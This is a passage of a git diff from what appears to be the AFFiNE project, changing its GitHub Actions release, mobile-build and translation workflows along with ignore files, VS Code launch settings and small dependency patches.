"text": "<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|Backend deploy failed `${{ github.event.inputs.flavor }}`>",
"type": "mrkdwn"
}
}
]
}
env:
SLACK_BOT_TOKEN: ${{ secrets.SLACK_BOT_TOKEN }}
channel: ${{ secrets.RELEASE_SLACK_CHNNEL_ID }}
text: "<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|Backend deploy failed `${{ github.event.inputs.flavor }}`>"
blocks:
- type: section
text:
type: mrkdwn
text: "<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|Backend deploy failed `${{ github.event.inputs.flavor }}`>"
- name: Post Cancel event to a Slack channel
id: cancel-slack
uses: slackapi/slack-github-action@v1.27.0
uses: slackapi/slack-github-action@v2.0.0
if: ${{ always() && contains(needs.*.result, 'cancelled') && !contains(needs.*.result, 'failure') }}
with:
channel-id: ${{ secrets.RELEASE_SLACK_CHNNEL_ID }}
token: ${{ secrets.SLACK_BOT_TOKEN }}
method: chat.postMessage
payload: |
{
"blocks": [
{
"type": "section",
"text": {
"text": "<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|Backend deploy cancelled `${{ github.event.inputs.flavor }}`>",
"type": "mrkdwn"
}
}
]
}
env:
SLACK_BOT_TOKEN: ${{ secrets.SLACK_BOT_TOKEN }}
channel: ${{ secrets.RELEASE_SLACK_CHNNEL_ID }}
text: "<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|Backend deploy cancelled `${{ github.event.inputs.flavor }}`>"
blocks:
- type: section
text:
type: mrkdwn
text: "<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|Backend deploy cancelled `${{ github.event.inputs.flavor }}`>"

View File

@@ -32,7 +32,7 @@ permissions:
env:
BUILD_TYPE: ${{ github.event.inputs.build-type }}
DEBUG: napi:*
DEBUG: 'affine:*,napi:*'
APP_NAME: affine
MACOSX_DEPLOYMENT_TARGET: '10.13'
@@ -52,7 +52,7 @@ jobs:
- name: Setup @sentry/cli
uses: ./.github/actions/setup-sentry
- name: generate-assets
run: yarn workspace @affine/electron generate-assets
run: yarn affine @affine/electron generate-assets
env:
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
@@ -60,7 +60,6 @@ jobs:
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ steps.version.outputs.APP_VERSION }}
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
SKIP_NX_CACHE: 'true'
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
- name: Upload web artifact
@@ -71,6 +70,7 @@ jobs:
make-distribution:
strategy:
fail-fast: false
matrix:
spec:
- runner: macos-14
@@ -87,6 +87,7 @@ jobs:
target: x86_64-unknown-linux-gnu
runs-on: ${{ matrix.spec.runner }}
needs: before-make
environment: ${{ github.event.inputs.build-type }}
env:
APPLE_ID: ${{ secrets.APPLE_ID }}
APPLE_PASSWORD: ${{ secrets.APPLE_PASSWORD }}
@@ -96,6 +97,7 @@ jobs:
SENTRY_PROJECT: 'affine'
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ needs.before-make.outputs.RELEASE_VERSION }}
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
steps:
- uses: actions/checkout@v4
@@ -106,7 +108,7 @@ jobs:
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
enableScripts: false
@@ -115,14 +117,13 @@ jobs:
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- uses: actions/download-artifact@v4
with:
name: web
path: packages/frontend/apps/electron/resources/web-static
- name: Build Desktop Layers
run: yarn workspace @affine/electron build
run: yarn affine @affine/electron build
- name: Signing By Apple Developer ID
if: ${{ matrix.spec.platform == 'darwin' }}
@@ -142,11 +143,10 @@ jobs:
git config --global protocol.file.allow always
- name: make
run: yarn workspace @affine/electron make --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
run: yarn affine @affine/electron make --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
DEBUG: '*'
- name: signing DMG
if: ${{ matrix.spec.platform == 'darwin' }}
@@ -163,19 +163,19 @@ jobs:
if: ${{ matrix.spec.platform == 'linux' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/zip/linux/x64/*.zip ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.zip
mv packages/frontend/apps/electron/out/*/make/*.AppImage ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.appimage
mv packages/frontend/apps/electron/out/*/make/deb/x64/*.deb ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.deb
mv packages/frontend/apps/electron/out/*/make/flatpak/*/*.flatpak ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.flatpak
mv packages/frontend/apps/electron/out/*/make/zip/linux/${{ matrix.spec.arch }}/*.zip ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.zip
mv packages/frontend/apps/electron/out/*/make/*.AppImage ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.appimage
mv packages/frontend/apps/electron/out/*/make/deb/${{ matrix.spec.arch }}/*.deb ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.deb
mv packages/frontend/apps/electron/out/*/make/flatpak/*/*.flatpak ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.flatpak
- uses: actions/attest-build-provenance@v1
- uses: actions/attest-build-provenance@v2
if: ${{ matrix.spec.platform == 'darwin' }}
with:
subject-path: |
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.zip
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.dmg
- uses: actions/attest-build-provenance@v1
- uses: actions/attest-build-provenance@v2
if: ${{ matrix.spec.platform == 'linux' }}
with:
subject-path: |
@@ -189,23 +189,31 @@ jobs:
path: builds
package-distribution-windows:
environment: ${{ github.event.inputs.build-type }}
strategy:
fail-fast: false
matrix:
spec:
- runner: windows-latest
platform: win32
arch: x64
target: x86_64-pc-windows-msvc
- runner: windows-latest
platform: win32
arch: arm64
target: aarch64-pc-windows-msvc
runs-on: ${{ matrix.spec.runner }}
needs: before-make
outputs:
FILES_TO_BE_SIGNED: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED }}
FILES_TO_BE_SIGNED_x64: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED_x64 }}
FILES_TO_BE_SIGNED_arm64: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED_arm64 }}
env:
SKIP_GENERATE_ASSETS: 1
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ needs.before-make.outputs.RELEASE_VERSION }}
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
steps:
- uses: actions/checkout@v4
@@ -216,7 +224,7 @@ jobs:
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
- name: Build AFFiNE native
@@ -224,17 +232,16 @@ jobs:
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- uses: actions/download-artifact@v4
with:
name: web
path: packages/frontend/apps/electron/resources/web-static
- name: Build Desktop Layers
run: yarn workspace @affine/electron build
run: yarn affine @affine/electron build
- name: package
run: yarn workspace @affine/electron package --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
run: yarn affine @affine/electron package --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
@@ -243,7 +250,7 @@ jobs:
id: get_files_to_be_signed
run: |
Set-Variable -Name FILES_TO_BE_SIGNED -Value ((Get-ChildItem -Path packages/frontend/apps/electron/out -Recurse -File | Where-Object { $_.Extension -in @(".exe", ".node", ".dll", ".msi") } | ForEach-Object { '"' + $_.FullName.Replace((Get-Location).Path + '\packages\frontend\apps\electron\out\', '') + '"' }) -join ' ')
"FILES_TO_BE_SIGNED=$FILES_TO_BE_SIGNED" >> $env:GITHUB_OUTPUT
"FILES_TO_BE_SIGNED_${{ matrix.spec.arch }}=$FILES_TO_BE_SIGNED" >> $env:GITHUB_OUTPUT
echo $FILES_TO_BE_SIGNED
- name: Zip artifacts for faster upload
@@ -257,25 +264,36 @@ jobs:
archive.zip
!**/*.map
sign-packaged-artifacts-windows:
sign-packaged-artifacts-windows_x64:
needs: package-distribution-windows
uses: ./.github/workflows/windows-signer.yml
with:
files: ${{ needs.package-distribution-windows.outputs.FILES_TO_BE_SIGNED }}
files: ${{ needs.package-distribution-windows.outputs.FILES_TO_BE_SIGNED_x64 }}
artifact-name: packaged-win32-x64
sign-packaged-artifacts-windows_arm64:
needs: package-distribution-windows
uses: ./.github/workflows/windows-signer.yml
with:
files: ${{ needs.package-distribution-windows.outputs.FILES_TO_BE_SIGNED_arm64 }}
artifact-name: packaged-win32-arm64
make-windows-installer:
needs: sign-packaged-artifacts-windows
needs:
- sign-packaged-artifacts-windows_x64
- sign-packaged-artifacts-windows_arm64
strategy:
fail-fast: false
matrix:
spec:
- runner: windows-latest
platform: win32
- platform: win32
arch: x64
target: x86_64-pc-windows-msvc
runs-on: ${{ matrix.spec.runner }}
- platform: win32
arch: arm64
runs-on: windows-latest
outputs:
FILES_TO_BE_SIGNED: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED }}
FILES_TO_BE_SIGNED_x64: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED_x64 }}
FILES_TO_BE_SIGNED_arm64: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED_arm64 }}
steps:
- uses: actions/checkout@v4
- name: Setup Version
@@ -288,6 +306,8 @@ jobs:
extra-flags: workspaces focus @affine/electron @affine/monorepo
hard-link-nm: false
nmHoistingLimits: workspaces
env:
npm_config_arch: ${{ matrix.spec.arch }}
- name: Download and overwrite packaged artifacts
uses: actions/download-artifact@v4
with:
@@ -297,10 +317,10 @@ jobs:
run: Expand-Archive -Path signed.zip -DestinationPath packages/frontend/apps/electron/out
- name: Make squirrel.windows installer
run: yarn workspace @affine/electron make-squirrel --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
run: yarn affine @affine/electron make-squirrel --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
- name: Make nsis.windows installer
run: yarn workspace @affine/electron make-nsis --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
run: yarn affine @affine/electron make-nsis --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
- name: Zip artifacts for faster upload
run: Compress-Archive -CompressionLevel Fastest -Path packages/frontend/apps/electron/out/${{ env.BUILD_TYPE }}/make/* -DestinationPath archive.zip
@@ -309,7 +329,7 @@ jobs:
id: get_files_to_be_signed
run: |
Set-Variable -Name FILES_TO_BE_SIGNED -Value ((Get-ChildItem -Path packages/frontend/apps/electron/out/${{ env.BUILD_TYPE }}/make -Recurse -File | Where-Object { $_.Extension -in @(".exe", ".node", ".dll", ".msi") } | ForEach-Object { '"' + $_.FullName.Replace((Get-Location).Path + '\packages\frontend\apps\electron\out\${{ env.BUILD_TYPE }}\make\', '') + '"' }) -join ' ')
"FILES_TO_BE_SIGNED=$FILES_TO_BE_SIGNED" >> $env:GITHUB_OUTPUT
"FILES_TO_BE_SIGNED_${{ matrix.spec.arch }}=$FILES_TO_BE_SIGNED" >> $env:GITHUB_OUTPUT
echo $FILES_TO_BE_SIGNED
- name: Save installer for signing
@@ -318,22 +338,37 @@ jobs:
name: installer-${{ matrix.spec.platform }}-${{ matrix.spec.arch }}
path: archive.zip
sign-installer-artifacts-windows:
sign-installer-artifacts-windows-x64:
needs: make-windows-installer
uses: ./.github/workflows/windows-signer.yml
with:
files: ${{ needs.make-windows-installer.outputs.FILES_TO_BE_SIGNED }}
files: ${{ needs.make-windows-installer.outputs.FILES_TO_BE_SIGNED_x64 }}
artifact-name: installer-win32-x64
sign-installer-artifacts-windows-arm64:
needs: make-windows-installer
uses: ./.github/workflows/windows-signer.yml
with:
files: ${{ needs.make-windows-installer.outputs.FILES_TO_BE_SIGNED_arm64 }}
artifact-name: installer-win32-arm64
finalize-installer-windows:
needs: [sign-installer-artifacts-windows, before-make]
needs:
[
sign-installer-artifacts-windows-x64,
sign-installer-artifacts-windows-arm64,
before-make,
]
strategy:
fail-fast: false
matrix:
spec:
- runner: windows-latest
platform: win32
arch: x64
target: x86_64-pc-windows-msvc
- runner: windows-latest
platform: win32
arch: arm64
runs-on: ${{ matrix.spec.runner }}
steps:
- name: Download and overwrite installer artifacts
@@ -347,16 +382,16 @@ jobs:
- name: Save artifacts
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/zip/win32/x64/AFFiNE*-win32-x64-*.zip ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-x64.zip
mv packages/frontend/apps/electron/out/*/make/squirrel.windows/x64/*.exe ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-x64.exe
mv packages/frontend/apps/electron/out/*/make/nsis.windows/x64/*.exe ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-x64.nsis.exe
mv packages/frontend/apps/electron/out/*/make/zip/win32/${{ matrix.spec.arch }}/AFFiNE*-win32-${{ matrix.spec.arch }}-*.zip ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.zip
mv packages/frontend/apps/electron/out/*/make/squirrel.windows/${{ matrix.spec.arch }}/*.exe ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.exe
mv packages/frontend/apps/electron/out/*/make/nsis.windows/${{ matrix.spec.arch }}/*.exe ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.nsis.exe
- uses: actions/attest-build-provenance@v1
- uses: actions/attest-build-provenance@v2
with:
subject-path: |
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-x64.zip
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-x64.exe
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-x64.nsis.exe
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.zip
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.exe
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.nsis.exe
- name: Upload Artifact
uses: actions/upload-artifact@v4
@@ -380,28 +415,37 @@ jobs:
uses: actions/download-artifact@v4
with:
name: affine-darwin-x64-builds
path: ./
path: ./release
- name: Download Artifacts (macos-arm64)
uses: actions/download-artifact@v4
with:
name: affine-darwin-arm64-builds
path: ./
path: ./release
- name: Download Artifacts (windows-x64)
uses: actions/download-artifact@v4
with:
name: affine-win32-x64-builds
path: ./
path: ./release
- name: Download Artifacts (windows-arm64)
uses: actions/download-artifact@v4
with:
name: affine-win32-arm64-builds
path: ./release
- name: Download Artifacts (linux-x64)
uses: actions/download-artifact@v4
with:
name: affine-linux-x64-builds
path: ./
path: ./release
- uses: actions/setup-node@v4
with:
node-version: 20
- name: Copy Selfhost Release Files
run: |
cp ./.docker/selfhost/compose.yml ./release/docker-compose.yml
cp ./.docker/selfhost/.env.example ./release/.env.example
- name: Generate Release yml
run: |
node ./packages/frontend/apps/electron/scripts/generate-yml.js
node ./scripts/generate-release-yml.mjs
env:
RELEASE_VERSION: ${{ needs.before-make.outputs.RELEASE_VERSION }}
- name: Create Release Draft
@@ -413,15 +457,8 @@ jobs:
draft: ${{ github.event.inputs.is-draft }}
prerelease: ${{ github.event.inputs.is-pre-release }}
files: |
./VERSION
./*.zip
./*.dmg
./*.exe
./*.appimage
./*.deb
./*.flatpak
./*.apk
./*.yml
./release/*
./release/.env.example
- name: Create Nightly Release Draft
if: ${{ github.ref_type == 'branch' }}
uses: softprops/action-gh-release@v2
@@ -437,12 +474,5 @@ jobs:
draft: false
prerelease: true
files: |
./VERSION
./*.zip
./*.dmg
./*.exe
./*.appimage
./*.deb
./*.apk
./*.flatpak
./*.yml
./release/*
./release/.env.example

View File

@@ -37,9 +37,25 @@ env:
KEYCHAIN_NAME: ${{ github.workspace }}/signing_temp
jobs:
build-ios-web:
output-env:
runs-on: ubuntu-latest
environment: ${{ inputs.build-type || github.event.inputs.build-type }}
outputs:
ENVIRONMENT: ${{ steps.env.outputs.ENVIRONMENT }}
steps:
- name: Output Environment
id: env
run: |
if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then
echo "ENVIRONMENT=${{ github.event.inputs.build-type }}" >> $GITHUB_OUTPUT
else
echo "ENVIRONMENT=" >> $GITHUB_OUTPUT
fi
build-ios-web:
needs:
- output-env
runs-on: ubuntu-latest
environment: ${{ needs.output-env.outputs.ENVIRONMENT }}
outputs:
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
steps:
@@ -52,7 +68,7 @@ jobs:
- name: Setup @sentry/cli
uses: ./.github/actions/setup-sentry
- name: Build Mobile
run: yarn nx build @affine/ios --skip-nx-cache
run: yarn affine @affine/ios build
env:
PUBLIC_PATH: '/'
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
@@ -62,7 +78,6 @@ jobs:
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ steps.version.outputs.APP_VERSION }}
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
SKIP_NX_CACHE: 'true'
- name: Upload ios artifact
uses: actions/upload-artifact@v4
with:
@@ -71,7 +86,9 @@ jobs:
build-android-web:
runs-on: ubuntu-latest
environment: ${{ github.event.inputs.build-type || inputs.build-type }}
needs:
- output-env
environment: ${{ needs.output-env.outputs.ENVIRONMENT }}
outputs:
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
steps:
@@ -84,7 +101,7 @@ jobs:
- name: Setup @sentry/cli
uses: ./.github/actions/setup-sentry
- name: Build Mobile
run: yarn nx build @affine/android --skip-nx-cache
run: yarn affine @affine/android build
env:
PUBLIC_PATH: '/'
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
@@ -94,7 +111,6 @@ jobs:
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ steps.version.outputs.APP_VERSION }}
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
SKIP_NX_CACHE: 'true'
- name: Upload android artifact
uses: actions/upload-artifact@v4
with:
@@ -121,6 +137,9 @@ jobs:
electron-install: false
hard-link-nm: false
enableScripts: false
- uses: maxim-lobanov/setup-xcode@v1
with:
xcode-version: 16.1
- name: Cap sync
run: yarn workspace @affine/ios cap sync
- name: Signing By Apple Developer ID
@@ -129,9 +148,17 @@ jobs:
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12_MOBILE }}
p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD_MOBILE }}
- uses: maxim-lobanov/setup-xcode@v1
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
xcode-version: latest-stable
target: 'aarch64-apple-ios'
package: 'affine_mobile_native'
no-build: 'true'
- name: Build Rust
run: |
brew install swiftformat
cargo build -p affine_mobile_native --lib --release --target aarch64-apple-ios
cargo run -p affine_mobile_native --bin uniffi-bindgen generate --library target/aarch64-apple-ios/release/libaffine_mobile_native.a --language swift --out-dir packages/frontend/apps/ios/App/App/uniffi
- name: Testflight
if: ${{ env.BUILD_TYPE != 'stable' }}
working-directory: packages/frontend/apps/ios/App
@@ -164,13 +191,22 @@ jobs:
uses: ./.github/actions/setup-node
timeout-minutes: 10
with:
extra-flags: workspaces focus @affine/android @affine/playstore-auto-bump
extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/android @affine/playstore-auto-bump
playwright-install: false
electron-install: false
hard-link-nm: false
enableScripts: false
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
target: 'aarch64-linux-android'
package: 'affine_mobile_native'
no-build: 'true'
- name: Cap sync
run: yarn workspace @affine/android cap sync
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Auth gcloud
id: auth
uses: google-github-actions/auth@v2
@@ -184,28 +220,30 @@ jobs:
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '17'
java-version: '21'
cache: 'gradle'
- name: Auto increment version code
id: bump
if: ${{ env.BUILD_TARGET == 'distribution' }}
run: yarn workspace @affine/playstore-auto-bump bump
run: yarn affine @affine/playstore-auto-bump bump
env:
GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.auth.outputs.credentials_file_path }}
- name: Build
run: |
echo -n "${{ env.AFFINE_ANDROID_SIGN_KEYSTORE }}" | base64 --decode > packages/frontend/apps/android/affine.keystore
yarn workspace @affine/android cap build android
yarn workspace @affine/android cap build android --flavor ${{ env.BUILD_TYPE }} --androidreleasetype AAB
env:
AFFINE_ANDROID_KEYSTORE_PASSWORD: ${{ secrets.AFFINE_ANDROID_KEYSTORE_PASSWORD }}
AFFINE_ANDROID_KEYSTORE_ALIAS_PASSWORD: ${{ secrets.AFFINE_ANDROID_KEYSTORE_ALIAS_PASSWORD }}
AFFINE_ANDROID_SIGN_KEYSTORE: ${{ secrets.AFFINE_ANDROID_SIGN_KEYSTORE }}
- name: Upload to Google Play
uses: r0adkll/upload-google-play@v1
if: ${{ env.BUILD_TARGET == 'distribution' }}
with:
serviceAccountJson: ${{ steps.auth.outputs.credentials_file_path }}
packageName: app.affine.pro
releaseFiles: packages/frontend/apps/android/App/app/build/outputs/bundle/release/app-release-signed.aab
releaseFiles: packages/frontend/apps/android/App/app/build/outputs/bundle/${{ env.BUILD_TYPE }}Release/app-${{ env.BUILD_TYPE }}-release-signed.aab
track: internal
status: draft
existingEditId: ${{ steps.bump.outputs.EDIT_ID }}

View File

@@ -11,7 +11,6 @@ on:
jobs:
synchronize-with-crowdin:
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
@@ -21,10 +20,11 @@ jobs:
uses: actions/checkout@v4
- name: Crowdin action
id: crowdin
uses: crowdin/github-action@v2
with:
upload_sources: true
upload_translations: true
upload_translations: false
download_translations: true
auto_approve_imported: true
import_eq_suggestions: true
@@ -40,3 +40,33 @@ jobs:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
CROWDIN_PROJECT_ID: ${{ secrets.CROWDIN_PROJECT_ID }}
CROWDIN_PERSONAL_TOKEN: ${{ secrets.CROWDIN_PERSONAL_TOKEN }}
i18n-codegen:
needs: synchronize-with-crowdin
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
steps:
- name: Checkout
uses: actions/checkout@v4
with:
ref: l10n_crowdin_translations
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
electron-install: false
full-cache: true
- name: Run i18n codegen
run: yarn affine @affine/i18n build
- name: Commit changes
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add .
git commit -m "chore(i18n): i18n codegen"
git push origin l10n_crowdin_translations

View File

@@ -1,23 +0,0 @@
name: Deploy Cloudflare Worker
on:
push:
branches:
- canary
paths:
- tools/workers/**
jobs:
deploy:
runs-on: ubuntu-latest
name: Deploy
environment: stable
steps:
- uses: actions/checkout@v4
- name: Publish
uses: cloudflare/wrangler-action@v3.7.0
with:
apiToken: ${{ secrets.CF_API_TOKEN }}
accountId: ${{ secrets.CF_ACCOUNT_ID }}
workingDirectory: 'tools/workers'
packageManager: 'yarn'

5
.gitignore vendored
View File

@@ -29,7 +29,6 @@ node_modules
# IDE - VSCode
.vscode/*
!.vscode/tasks.json
!.vscode/settings.template.json
!.vscode/launch.template.json
!.vscode/extensions.json
@@ -81,3 +80,7 @@ apps/web/next-routes.conf
packages/frontend/templates/edgeless
packages/frontend/core/public/static/templates
# script
af
af.cmd

2
.nvmrc
View File

@@ -1 +1 @@
20.17.0
22.14.0

View File

@@ -1,28 +1,38 @@
yarn.lock
target
lib
test-results
.next
out
dist
# we will make this file shared by prettier|eslint|oxlint
**/node_modules
.yarn
.github/helm
_next
storybook-static
web-static
public
packages/backend/server/src/schema.gql
packages/backend/server/src/fundamentals/error/errors.gen.ts
packages/frontend/i18n/src/i18n-generated.ts
packages/frontend/i18n/src/i18n-completenesses.json
packages/frontend/graphql/src/graphql/index.ts
tests/affine-legacy/**/static
.github
.vscode
.yarnrc.yml
packages/frontend/templates/*.gen.ts
packages/frontend/templates/onboarding
.docker
**/.storybook
# auto-generated by NAPI-RS
# fixme(@joooye34): need script to check and generate ignore list here
# compiled output
.coverage
.nx/**
target
test-results
**/dist
**/lib
**/storybook-static
**/web-static
**/public
**/e2e-dist-*
**/static
# generated files
**/*.gen.ts
**/*.gql
**/*.d.ts
# per files
tools/cli/src/webpack/error-handler.js
packages/backend/native/index.d.ts
packages/backend/server/src/__tests__/__snapshots__
packages/common/native/fixtures/**
packages/frontend/native/index.d.ts
packages/frontend/native/index.js
packages/frontend/graphql/src/graphql/index.ts
packages/frontend/graphql/src/schema.ts
packages/frontend/apps/android/App/app/build/**
blocksuite/tests-legacy/snapshots

View File

@@ -1,25 +1,38 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Run Dev",
"type": "node-terminal",
"request": "launch",
"command": "yarn run dev"
},
{
"name": "Run Dev Locally",
"type": "node-terminal",
"request": "launch",
"command": "yarn run dev:local"
},
{
"name": "Launch AFFiNE Cloud",
"type": "node",
"request": "launch",
"runtimeExecutable": "yarn",
"cwd": "${workspaceFolder}",
"runtimeArgs": ["workspace", "@affine/server", "dev"]
"runtimeArgs": [
"affine",
"@affine/server",
"dev"
]
},
{
"name": "Lanuch AFFiNE Web",
"type": "node",
"request": "launch",
"runtimeExecutable": "yarn",
"cwd": "${workspaceFolder}",
"runtimeArgs": [
"affine",
"@affine/web",
"dev"
]
},
{
"type": "chrome",
"request": "launch",
"name": "Debug AFFiNE Web",
"url": "http://localhost:8080",
"sourceMapPathOverrides": {
"webpack://affine/blocksuite/*": "${workspaceFolder}/blocksuite/*"
}
}
]
}
}

View File

@@ -0,0 +1,19 @@
diff --git a/dist/esm/adapter/external-adapter.js b/dist/esm/adapter/external-adapter.js
index ef7a963d91f08c9e70c8ed9c6b41972bec349319..e682841ec10a4a8a9ce7a79642e58de5c9e664d5 100644
--- a/dist/esm/adapter/external-adapter.js
+++ b/dist/esm/adapter/external-adapter.js
@@ -54,9 +54,11 @@ var adapter = makeAdapter({
type: 'dragenter',
listener: function listener(event) {
// drag operation was started within the document, it won't be an "external" drag
- if (didDragStartLocally) {
- return;
- }
+
+ // we will handle all events actually
+ // if (didDragStartLocally) {
+ // return;
+ // }
// Note: not checking if event was cancelled (`event.defaultPrevented`) as
// cancelling a "dragenter" accepts the drag operation (not prevent it)

View File

@@ -0,0 +1,13 @@
diff --git a/package.json b/package.json
index 5fef2811aa86f3f1f8228daef7d867863e71db72..b795fbd2a0e1cba0b6389ff051220f4e3c52fc13 100644
--- a/package.json
+++ b/package.json
@@ -34,7 +34,7 @@
"deno": "./index.js",
"react-native": "./index.js",
"worker": "./index.js",
- "browser": "./index.dom.js",
+ "browser": "./index.js",
"default": "./index.js"
}
},

View File

@@ -1,39 +0,0 @@
diff --git a/dist/yjs.cjs b/dist/yjs.cjs
index d2dc06ae11a6eb44f8c8445d4298c0e89c3e4da2..a30ab04fa9f3b77666939caa88335c68c40f194c 100644
--- a/dist/yjs.cjs
+++ b/dist/yjs.cjs
@@ -414,7 +414,7 @@ const equalDeleteSets = (ds1, ds2) => {
*/
